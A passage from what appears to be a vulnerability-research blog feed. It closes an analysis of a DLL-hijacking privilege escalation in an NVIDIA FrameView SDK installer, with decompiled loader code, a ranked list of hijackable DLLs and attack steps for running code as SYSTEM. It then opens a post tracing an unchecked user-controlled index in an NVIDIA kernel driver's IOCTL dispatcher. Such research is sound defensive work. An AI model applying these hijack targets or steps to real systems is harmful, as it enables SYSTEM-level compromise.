</pre></td><td class="rouge-code"><pre><span class="k">if</span> <span class="p">((</span><span class="n">_DAT_1400b5dd8</span> <span class="o">!=</span> <span class="p">(</span><span class="n">HMODULE</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">||</span> 
    <span class="p">(</span><span class="n">pVar4</span> <span class="o">=</span> <span class="n">GetLastError</span><span class="p">(),</span> <span class="n">pVar4</span> <span class="o">==</span> <span class="n">GetLastError</span><span class="p">()))</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">lpLibFileName</span> <span class="o">=</span> <span class="s">L"ldp.dll"</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Similar pattern - dynamic loading via LoadLibrary.</p>

<h4 id="example-3-cryptnetdll">Example 3: cryptnet.dll</h4>

<p>Looking at the cryptnet.dll reference: <strong>Decompiled code:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
</pre></td><td class="rouge-code"><pre><span class="k">if</span> <span class="p">((</span><span class="n">_DAT_1400b5dd8</span> <span class="o">!=</span> <span class="p">(</span><span class="n">HMODULE</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">||</span> 
    <span class="p">(</span><span class="n">pVar4</span> <span class="o">=</span> <span class="n">GetLastError</span><span class="p">(),</span> <span class="n">pVar4</span> <span class="o">==</span> <span class="p">(</span><span class="n">LPWSTR</span><span class="p">)</span><span class="mh">0x7e</span><span class="p">))</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">pwVar15</span> <span class="o">=</span> <span class="s">L"cryptnet.dll"</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
  <span class="c1">// Path construction code...</span>
  <span class="n">DAT_1400b5dd8</span> <span class="o">=</span> <span class="n">LoadLibraryExW</span><span class="p">(</span><span class="n">pwVar6</span><span class="p">,(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="n">local_158</span><span class="p">);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<h4 id="example-4-cryptbasedll">Example 4: cryptbase.dll</h4>

<p>Examining cryptbase.dll references: <strong>String location:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>140097af0  63 00 72  unicode  u"cryptbase.dll"
           00 79 00
           70 00 74
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>XREF References:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>XREF[4,2]:  FUN_140001680:140001b9c(*),
            FUN_140001680:140001ba2(R),
            FUN_140001680:140001bc2(*),
            FUN_140001680:140001bc2(R)
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Multiple references indicate this DLL is loaded in several places! <strong>Decompiled code:</strong></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre><span class="k">if</span> <span class="p">((</span><span class="n">DAT_1400b5db0</span> <span class="o">!=</span> <span class="p">(</span><span class="n">HMODULE</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="o">||</span> 
    <span class="p">(</span><span class="n">pVar4</span> <span class="o">=</span> <span class="n">GetLastError</span><span class="p">(),</span> <span class="n">pVar4</span> <span class="o">==</span> <span class="p">(</span><span class="n">LPWSTR</span><span class="p">)</span><span class="mh">0x7e</span><span class="p">))</span> <span class="p">{</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">param_1</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">pwVar13</span> <span class="o">=</span> <span class="s">L"cryptbase.dll"</span><span class="p">;</span>
  <span class="p">}</span>
<span class="p">}</span>
<span class="k">else</span> <span class="p">{</span>
  <span class="n">UVar3</span> <span class="o">=</span> <span class="n">GetSystemDirectoryW</span><span class="p">((</span><span class="n">LPWSTR</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
  <span class="n">pWVar6</span> <span class="o">=</span> <span class="p">(</span><span class="n">LPWSTR</span><span class="p">)</span><span class="n">LocalAlloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">,(</span><span class="n">ulonglong</span><span class="p">)(</span><span class="n">uVar3</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>
  <span class="c1">// ... path construction ...</span>
  <span class="n">pwVar13</span> <span class="o">=</span> <span class="s">L"cryptbase.dll"</span><span class="p">;</span>
  <span class="c1">// ... more code ...</span>
  <span class="n">DAT_1400b5db0</span> <span class="o">=</span> <span class="n">LoadLibraryExW</span><span class="p">(</span><span class="n">pwVar6</span><span class="p">,(</span><span class="n">HANDLE</span><span class="p">)</span><span class="mh">0x0</span><span class="p">,</span><span class="n">local_158</span><span class="p">);</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>String reference confirmation:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>140097940  63 00 72  unicode  u"cryptbase.dll"
           00 79 00
           70 00 74
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>XREF References:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>XREF[4,2]:  FUN_140001680:140001ba9e(*),
            FUN_140001680:140001ba2(R),
            FUN_140001680:140001bc1(*),
            FUN_140001680:140001b18
</pre></td></tr></tbody></table></code></pre></div></div>

<h3 id="step-3-examining-import-table-for-versiondll">Step 3: Examining Import Table for VERSION.dll</h3>

<p>While examining the import table in Ghidra, I noticed functions that belong to <code class="language-plaintext highlighter-rouge">version.dll</code>:</p>

<p><strong>Import Table Analysis:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
</pre></td><td class="rouge-code"><pre>IMAGE_IMPORT_BY_NAME_15_1400aab6
  dw    10h
  ds    "VerQueryValueW"

IMAGE_IMPORT_BY_NAME_24_1400aac8  
  dw    04h
  ds    "GetFileVersionInfoSizeW..."
  
IMAGE_IMPORT_BY_NAME_20_1400aae2
  dw    00h
  ds    "GetFileVersionInfoA"
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Key functions imported:</strong></p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">VerQueryValueW</code> - Retrieves version information</li>
  <li><code class="language-plaintext highlighter-rouge">GetFileVersionInfoSizeW</code> - Gets size of version info</li>
  <li><code class="language-plaintext highlighter-rouge">GetFileVersionInfoA</code> - Retrieves file version info</li>
</ul>

<p>These functions are from <strong>VERSION.dll</strong>, indicating this DLL is loaded to check file versions.</p>

<h3 id="step-4-distinguishing-hijackable-vs-non-hijackable">Step 4: Distinguishing Hijackable vs Non-Hijackable</h3>

<p>After analyzing all DLL references, I categorized them:</p>

<h4 id="hijackable---dynamically-loaded">HIJACKABLE - Dynamically Loaded</h4>

<p>These DLLs are loaded via <code class="language-plaintext highlighter-rouge">LoadLibrary/LoadLibraryEx</code> with either:</p>

<ul>
  <li>Relative paths</li>
  <li>No path specified (searches application directory first)</li>
  <li>Conditional loading based on availability</li>
</ul>

<p><strong>Primary Targets:</strong></p>

<ol>
  <li>
    <p><strong>version.dll</strong> - PRIMARY TARGET</p>

    <ul>
      <li>Functions: <code class="language-plaintext highlighter-rouge">VerQueryValueW</code>, <code class="language-plaintext highlighter-rouge">GetFileVersionInfoSizeW</code></li>
      <li>Usage: Version checking functionality</li>
      <li>Load method: Dynamic (likely LoadLibrary with no path)</li>
      <li>Windows searches application directory FIRST</li>
    </ul>
  </li>
  <li>
    <p><strong>cryptbase.dll</strong></p>

    <ul>
      <li>Usage: Cryptography base functions</li>
      <li>Load method: <code class="language-plaintext highlighter-rouge">LoadLibraryExW</code> with path construction</li>
      <li>Multiple references (4 XREFs)</li>
      <li>Loaded conditionally</li>
    </ul>
  </li>
  <li>
    <p><strong>cryptnet.dll</strong></p>

    <ul>
      <li>Usage: Cryptography network functions</li>
      <li>Load method: <code class="language-plaintext highlighter-rouge">LoadLibraryExW</code></li>
      <li>Similar pattern to cryptbase.dll</li>
    </ul>
  </li>
  <li>
    <p><strong>drvstore.dll</strong></p>

    <ul>
      <li>Usage: Driver store operations</li>
      <li>Load method: <code class="language-plaintext highlighter-rouge">LoadLibraryExW</code></li>
      <li>Path construction from System directory</li>
    </ul>
  </li>
  <li>
    <p><strong>wldp.dll</strong></p>

    <ul>
      <li>Usage: Windows Lockdown Policy</li>
      <li>Load method: Dynamic</li>
      <li>Loaded conditionally</li>
    </ul>
  </li>
  <li>
    <p><strong>devobj.dll</strong> (referenced as ldp.dll in code)</p>

    <ul>
      <li>Usage: Device object operations</li>
      <li>Load method: Dynamic</li>
    </ul>
  </li>
</ol>

<h4 id="not-hijackable---static-imports">NOT HIJACKABLE - Static Imports</h4>

<p>These are in the import table and loaded by Windows before any code executes:</p>

<ul>
  <li><strong>KERNEL32.dll</strong> - Core Windows API</li>
  <li><strong>USER32.dll</strong> - Window management</li>
  <li><strong>ADVAPI32.dll</strong> - Advanced Windows API</li>
  <li><strong>SHELL32.dll</strong> - Shell functions</li>
  <li><strong>ole32.dll</strong> - COM/OLE</li>
  <li><strong>bcrypt.dll</strong> - Cryptography (newer, static)</li>
  <li><strong>SHLWAPI.dll</strong> - Shell lightweight API</li>
</ul>

<p><strong>Priority Rankings:</strong></p>

<table>
  <thead>
    <tr>
      <th>Rank</th>
      <th>DLL</th>
      <th>Score</th>
      <th>Reasoning</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>1</strong></td>
      <td><strong>version.dll</strong></td>
      <td><strong>13</strong></td>
      <td>Imported functions visible, definitely loaded, application directory searched first, SYSTEM service, multiple version-checking calls</td>
    </tr>
    <tr>
      <td><strong>2</strong></td>
      <td><strong>cryptbase.dll</strong></td>
      <td><strong>11</strong></td>
      <td>4 XREFs, dynamic loading, cryptography usage (important), SYSTEM service, error handling present</td>
    </tr>
    <tr>
      <td><strong>3</strong></td>
      <td><strong>cryptnet.dll</strong></td>
      <td><strong>9</strong></td>
      <td>Similar to cryptbase, network crypto operations, conditional loading</td>
    </tr>
    <tr>
      <td><strong>4</strong></td>
      <td><strong>wldp.dll</strong></td>
      <td><strong>8</strong></td>
      <td>Windows policy DLL, conditional loading, SYSTEM context</td>
    </tr>
    <tr>
      <td><strong>5</strong></td>
      <td><strong>drvstore.dll</strong></td>
      <td><strong>7</strong></td>
      <td>Driver store operations, system integration</td>
    </tr>
    <tr>
      <td><strong>6</strong></td>
      <td><strong>devobj.dll</strong></td>
      <td><strong>6</strong></td>
      <td>Device operations, less critical</td>
    </tr>
  </tbody>
</table>

<h3 id="why-versiondll-is-the-primary-target">Why version.dll is the Primary Target</h3>

<p><strong>version.dll</strong> is the best hijacking target because:</p>

<ol>
  <li><strong>Ubiquitous Usage</strong>: Many Windows applications check file versions</li>
  <li><strong>Application Directory Search</strong>: Windows DLL search order checks app directory FIRST</li>
  <li><strong>Not Critical for Loading</strong>: If it fails, the app usually continues (error handling present)</li>
  <li><strong>Confirmed Usage</strong>: Import table clearly shows <code class="language-plaintext highlighter-rouge">VerQueryValueW</code>, <code class="language-plaintext highlighter-rouge">GetFileVersionInfoSizeW</code>, <code class="language-plaintext highlighter-rouge">GetFileVersionInfoA</code></li>
  <li><strong>SYSTEM Privileges</strong>: Loaded by <code class="language-plaintext highlighter-rouge">nvfvsdksvc_x64.exe</code> which runs as NT AUTHORITY\SYSTEM</li>
</ol>

<h3 id="dll-load-location-analysis">DLL Load Location Analysis</h3>

<p>Examining the code patterns, the DLLs follow this loading behavior:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
</pre></td><td class="rouge-code"><pre><span class="c1">// Typical loading pattern found in the binary</span>
<span class="n">HMODULE</span> <span class="n">hDll</span><span class="p">;</span>

<span class="c1">// Try loading from application directory first</span>
<span class="n">hDll</span> <span class="o">=</span> <span class="n">LoadLibraryExW</span><span class="p">(</span><span class="s">L"version.dll"</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>

<span class="k">if</span> <span class="p">(</span><span class="n">hDll</span> <span class="o">==</span> <span class="nb">NULL</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// If not found, Windows automatically searches:</span>
    <span class="c1">// 1. Application directory ← WE CONTROL THIS!</span>
    <span class="c1">// 2. System32 directory</span>
    <span class="c1">// 3. System directory</span>
    <span class="c1">// 4. Windows directory</span>
    <span class="c1">// 5. Current directory</span>
    <span class="c1">// 6. PATH directories</span>
<span class="p">}</span>

<span class="c1">// Use the DLL</span>
<span class="n">FARPROC</span> <span class="n">pFunc</span> <span class="o">=</span> <span class="n">GetProcAddress</span><span class="p">(</span><span class="n">hDll</span><span class="p">,</span> <span class="s">"VerQueryValueW"</span><span class="p">);</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><strong>Attack window:</strong></p>

<ol>
  <li>Installer creates <code class="language-plaintext highlighter-rouge">C:\ProgramData\NVIDIA Corporation\FrameViewSDK\</code> with weak permissions</li>
  <li>Attacker plants <code class="language-plaintext highlighter-rouge">version.dll</code> in that directory</li>
  <li>Service starts and tries to load <code class="language-plaintext highlighter-rouge">version.dll</code></li>
  <li>Windows finds attacker’s DLL FIRST (application directory)</li>
  <li>Malicious code executes as SYSTEM</li>
</ol>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>Through systematic reverse engineering analysis using Ghidra, I identified the critical local privilege escalation vulnerability in NVIDIA FrameView SDK’s installer. The root cause is consistent use of <code class="language-plaintext highlighter-rouge">CreateDirectoryW()</code> with NULL security attributes across multiple functions, creating three vulnerable directories that enable DLL hijacking attacks.</p>

<p><strong>Key Takeaways:</strong></p>

<ol>
  <li><strong>Systemic Issue:</strong> The same insecure pattern appeared in 3 separate locations, suggesting lack of secure coding guidelines or security review</li>
  <li><strong>Wide Attack Surface:</strong> Multiple directories, multiple processes, multiple exploitation paths</li>
  <li><strong>Easy Exploitation:</strong> No race condition, wide time window, low technical complexity</li>
  <li><strong>Multiple DLL Targets:</strong> Identified 6+ hijackable DLLs with version.dll as primary target</li>
  <li><strong>Proper Fix:</strong> NVIDIA’s patch correctly implements Windows security descriptors with restrictive ACLs for all affected calls</li>
</ol>

<p>This vulnerability demonstrates the critical importance of proper security attribute configuration in Windows API calls, especially in privileged installation contexts. Small oversights (passing NULL instead of proper security attributes) can lead to complete system compromise through DLL hijacking.</p>

<p><strong>This concludes the reverse-engineering part.</strong></p>

<hr />

<h2 id="tools-used">Tools Used</h2>

<ul>
  <li><strong>Ghidra 11.0+</strong> - Disassembly, decompilation, version tracking</li>
  <li><strong>Meld</strong> - Visual diff comparison</li>
  <li><strong>Uni-Extract 2</strong> - Installer unpacking</li>
  <li><strong>PowerShell</strong> - Filesystem comparison, permission checking</li>
  <li><strong>Process Monitor</strong> - Dynamic analysis (optional)</li>
</ul>

<h2 id="references">References</h2>

<ul>
  <li><a href="https://nvidia.custhelp.com/app/answers/detail/a_id/5682">CVE-2025-23297 - NVIDIA Security Bulletin</a></li>
  <li><a href="https://docs.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createdirectoryw">Microsoft Docs - CreateDirectoryW function</a></li>
  <li><a href="https://docs.microsoft.com/en-us/windows/security/">Windows Security - ACLs and Security Descriptors</a></li>
  <li><a href="https://attack.mitre.org/techniques/T1574/001/">MITRE ATT&amp;CK - T1574.001 (DLL Search Order Hijacking)</a></li>
</ul>

<hr />

<p><strong>BYE from TFLL37</strong></p>

<hr />

<p><em>P.S. For any mistakes, improvements or suggestions, write me using the contact form on this blog</em></p>]]></content><author><name>TFLL37</name></author><category term="Vulnerability Research" /><category term="Reverse Engineering" /><category term="cve" /><category term="nvidia" /><category term="privilege-escalation" /><category term="dll-hijacking" /><category term="ghidra" /><category term="windows" /><summary type="html"><![CDATA[Overview]]></summary></entry><entry><title type="html">Dissecting CVE-2025-23278: An In-Depth Journey into NVIDIA Kernel Driver Exploitation</title><link href="https://tfll37.github.io/posts/dissecting-cve-2025-23278-nvidia-kernel-driver-exploitation/" rel="alternate" type="text/html" title="Dissecting CVE-2025-23278: An In-Depth Journey into NVIDIA Kernel Driver Exploitation" /><published>2025-10-01T19:00:00+02:00</published><updated>2025-12-24T18:11:54+01:00</updated><id>https://tfll37.github.io/posts/dissecting-cve-2025-23278-nvidia-kernel-driver-exploitation</id><content type="html" xml:base="https://tfll37.github.io/posts/dissecting-cve-2025-23278-nvidia-kernel-driver-exploitation/"><![CDATA[<h1 id="an-in-depth-journey-into-nvidia-kernel-driver-exploitation">An In-Depth Journey into NVIDIA Kernel Driver Exploitation</h1>

<p><em>(Note: This article is for educational and security research purposes only. The information provided should not be used for any malicious activities, nor I bear any responsibility for any misuse of it)</em></p>

<p>On July 24, 2025, NVIDIA published a <a href="https://nvidia.custhelp.com/app/answers/detail/a_id/5670">security bulletin</a> that immediately caught my attention. It detailed several new vulnerabilities, but two, in particular, stood out as a fascinating side-project for honing my reverse engineering and vulnerability analysis skills:</p>

<table>
  <thead>
    <tr>
      <th style="text-align: left">CVE</th>
      <th style="text-align: left">Component</th>
      <th style="text-align: left">Type</th>
      <th style="text-align: left">Severity</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td style="text-align: left"><strong>CVE‑2025‑23276</strong></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">NVInstaller.exe</code></td>
      <td style="text-align: left">Installer Privilege Escalation</td>
      <td style="text-align: left">7.8 (High)</td>
    </tr>
    <tr>
      <td style="text-align: left"><strong>CVE‑2025‑23278</strong></td>
      <td style="text-align: left"><code class="language-plaintext highlighter-rouge">nvlddmkm.sys</code></td>
      <td style="text-align: left">Invalid Index Access (Kernel)</td>
      <td style="text-align: left">7.1 (High)</td>
    </tr>
  </tbody>
</table>

<p>While installer vulnerabilities are a rich field, my focus was drawn to the kernel. CVE-2025-23278 was described as an “improper index validation” that could lead to “data tampering or denial of service.” This is often a sign of a memory corruption bug, which can be a gateway to full system compromise.</p>

<p>This post will document my journey dissecting <strong>CVE-2025-23278</strong>. We’ll go from a vague security advisory to a working proof-of-concept, exploring the hurdles, and the crucial differences between a failed and a successful exploit.</p>

<h3 id="the-toolkit">The Toolkit</h3>

<p>For this investigation, I relied on a few key tools:</p>
<ul>
  <li><strong>Ghidra:</strong> Reverse engineering suite.</li>
  <li><strong>Speakeasy:</strong> A Windows kernel and user-mode emulator from Mandiant, perfect for dynamic analysis without risking a real system.(I would love to see the BSOD, but unfortunately I have no spare machines for fooling around :( )</li>
  <li><strong>UniExtract2:</strong> For unpacking the NVIDIA installer to get to the driver files within, since I could not natively install the drivers.</li>
</ul>

<h2 id="phase-1-the-setup---acquiring-the-target">Phase 1: The Setup - Acquiring the Target</h2>

<p>The advisory stated that driver versions in the <strong>R575 branch prior to 577.00</strong> were affected. The first step was to find and download a vulnerable driver. I settled on <strong>NVIDIA GeForce Graphics Driver 576.88 WHQL</strong>, released on July 1, 2025.</p>

<p><strong>Driver Details:</strong></p>
<ul>
  <li><strong>File:</strong> <code class="language-plaintext highlighter-rouge">576.88-desktop-win10-win11-64bit-international-dch-whql.exe</code></li>
  <li><strong>Size:</strong> 829.0 MB</li>
  <li><strong>SHA256:</strong> <code class="language-plaintext highlighter-rouge">6151095ea7299ed4569649c2a04ff7f78659a40bd95d933d0ee063c8a2c2986a</code></li>
</ul>

<p>Since I don’t have a spare physical machine with an NVIDIA GPU (and GPU passthrough to a VM will not work, as my host is patched), my plan was to extract the kernel driver and analyze it statically and dynamically through emulation. Using UniExtract2, I unpacked the installer and located the core kernel driver: <strong><code class="language-plaintext highlighter-rouge">nvlddmkm.sys</code></strong>.</p>

<h2 id="phase-2-reverse-engineering-with-ghidra">Phase 2: Reverse Engineering with Ghidra</h2>

<p>With the target binary in hand, I loaded <code class="language-plaintext highlighter-rouge">nvlddmkm.sys</code> into Ghidra. The initial analysis revealed a massive binary with over 10,000 functions and no public symbols (PDB file), as expected. This is where the real work begins.</p>

<h4 id="finding-the-entry-point">Finding the Entry Point</h4>

<p>My first goal was to find the driver’s main entry point, <code class="language-plaintext highlighter-rouge">DriverEntry</code>. In Ghidra’s “Symbol Tree,” under “Exports,” I didn’t find a function named <code class="language-plaintext highlighter-rouge">DriverEntry</code>. Instead, there was a single, simple export named <code class="language-plaintext highlighter-rouge">entry</code>.
<img src="/assets/img/posts/2025-10-01-cve-post/pasted-image-20251001180446.png" alt="Ghidra function exports view" /></p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
</pre></td><td class="rouge-code"><pre><span class="c1">// Ghidra's decompilation of the exported 'entry' function</span>
<span class="kt">void</span> <span class="nf">entry</span><span class="p">(</span><span class="n">undefined8</span> <span class="n">param_1</span><span class="p">,</span> <span class="n">undefined8</span> <span class="n">param_2</span><span class="p">)</span> <span class="p">{</span>
  <span class="n">__security_init_cookie</span><span class="p">();</span>
  <span class="n">FUN_146c3c0b0</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span> <span class="n">param_2</span><span class="p">);</span> <span class="c1">// The real initialization function</span>
  <span class="k">return</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This is a common pattern where the exported function is just a wrapper. The real logic was inside <code class="language-plaintext highlighter-rouge">FUN_146c3c0b0</code>.</p>

<h4 id="locating-the-ioctl-dispatcher">Locating the IOCTL Dispatcher</h4>

<p>In Windows driver development, the <code class="language-plaintext highlighter-rouge">DriverEntry</code> function is responsible for setting up handlers for different types of I/O Request Packets (IRPs). The most interesting one for us is <code class="language-plaintext highlighter-rouge">IRP_MJ_DEVICE_CONTROL</code>, which handles IOCTLs sent from user-mode applications.</p>

<p>Inside the real <code class="language-plaintext highlighter-rouge">DriverEntry</code> function (<code class="language-plaintext highlighter-rouge">FUN_146c3c0b0</code>), I searched for assignments to the <code class="language-plaintext highlighter-rouge">MajorFunction</code> array of the <code class="language-plaintext highlighter-rouge">DRIVER_OBJECT</code> structure. I found a block of code that set the same function pointer for all major IRP types.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="c1">// Simplified decompilation from Ghidra</span>
<span class="c1">// param_1 is the DRIVER_OBJECT</span>
<span class="n">puVar17</span> <span class="o">=</span> <span class="p">(</span><span class="n">undefined8</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x70</span><span class="p">);</span> <span class="c1">// MajorFunction array starts at offset 0x70</span>

<span class="c1">// Set the dispatch handlers</span>
<span class="o">*</span><span class="n">puVar17</span> <span class="o">=</span> <span class="n">FUN_1419887a0</span><span class="p">;</span>                    <span class="c1">// IRP_MJ_CREATE</span>
<span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x78</span><span class="p">)</span> <span class="o">=</span> <span class="n">FUN_1419887a0</span><span class="p">;</span> <span class="c1">// IRP_MJ_CLOSE</span>
<span class="o">*</span><span class="p">(</span><span class="n">code</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x80</span><span class="p">)</span> <span class="o">=</span> <span class="n">FUN_1419887a0</span><span class="p">;</span> <span class="c1">// IRP_MJ_READ</span>
<span class="c1">// ... and so on, including IRP_MJ_DEVICE_CONTROL ...</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p><img src="/assets/img/posts/2025-10-01-cve-post/pasted-image-20251001181213.png" alt="IOCTL dispatcher function assignments in Ghidra" />
This was a significant finding: a single, massive function, <code class="language-plaintext highlighter-rouge">FUN_1419887a0</code>, handles almost all communication from user-mode. This function was my prime suspect.</p>

<h4 id="uncovering-the-vulnerability">Uncovering the Vulnerability</h4>

<p>Navigating to <code class="language-plaintext highlighter-rouge">FUN_1419887a0</code>, I found the code that processes incoming IOCTLs. The logic was complex, but one path immediately stood out.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
</pre></td><td class="rouge-code"><pre><span class="c1">// Vulnerable dispatch function at 0x1419887a0</span>
<span class="n">undefined8</span> <span class="nf">FUN_1419887a0</span><span class="p">(</span><span class="n">longlong</span> <span class="n">param_1</span><span class="p">,</span> <span class="n">longlong</span> <span class="n">param_2</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">iVar1</span><span class="p">;</span>
  <span class="n">byte</span> <span class="o">*</span><span class="n">pbVar2</span><span class="p">;</span> <span class="c1">// This will point to our user-controlled input buffer</span>
  <span class="n">undefined8</span> <span class="n">uVar3</span><span class="p">;</span>
  
  <span class="c1">// 1. Get the input buffer from the IRP (param_2) at offset 0xb8</span>
  <span class="n">pbVar2</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">byte</span> <span class="o">**</span><span class="p">)(</span><span class="n">param_2</span> <span class="o">+</span> <span class="mh">0xb8</span><span class="p">);</span>
  
  <span class="k">if</span> <span class="p">(</span><span class="n">pbVar2</span> <span class="o">==</span> <span class="p">(</span><span class="n">byte</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">FUN_140dbf7d0</span><span class="p">();</span> <span class="c1">// Error handling</span>
  <span class="p">}</span>

  <span class="c1">// 2. Get a type value from the Device Object (param_1) at offset 0x48</span>
  <span class="n">iVar1</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">param_1</span> <span class="o">+</span> <span class="mh">0x48</span><span class="p">);</span>
  <span class="o">------</span>
   <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mh">0x4a6e</span><span class="p">)</span> <span class="p">{</span>   <span class="c1">// ... some checks for specific device types ... I assume</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">DAT_1412503bd</span> <span class="o">!=</span> <span class="sc">'\0'</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">uVar3</span> <span class="o">=</span> <span class="n">FUN_141987f50</span><span class="p">(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_2</span><span class="p">);</span>
      <span class="k">return</span> <span class="n">uVar3</span><span class="p">;</span>
    <span class="p">}</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">==</span> <span class="mh">0x90de</span><span class="p">)</span> <span class="p">{</span>
    <span class="c1">// A vulnerable path</span>
      <span class="n">uVar3</span> <span class="o">=</span> <span class="p">(</span><span class="o">**</span><span class="p">(</span><span class="n">code</span> <span class="o">**</span><span class="p">)(</span><span class="o">&amp;</span><span class="n">DAT_141287dc0</span> <span class="o">+</span> <span class="p">(</span><span class="n">ulonglong</span><span class="p">)</span><span class="o">*</span><span class="n">pbVar2</span> <span class="o">*</span> <span class="mi">8</span><span class="p">))(</span><span class="n">param_1</span><span class="p">,</span><span class="n">param_2</span><span class="p">);</span>
      <span class="k">return</span> <span class="n">uVar3</span><span class="p">;</span>
    <span class="p">}</span>
     <span class="c1">// 3. THE VULNERABLE DEFAULT PATH!</span>
    <span class="c1">// It takes the first byte of our input buffer (*pbVar2)...</span>
    <span class="c1">// ...multiplies it by 8...</span>
    <span class="c1">// ...adds it to a base address (0x141287ce0)...</span>
    <span class="c1">// ...and CALLS the address it finds there!</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">iVar1</span> <span class="o">!=</span> <span class="mh">0xa033</span><span class="p">)</span> <span class="p">{</span>
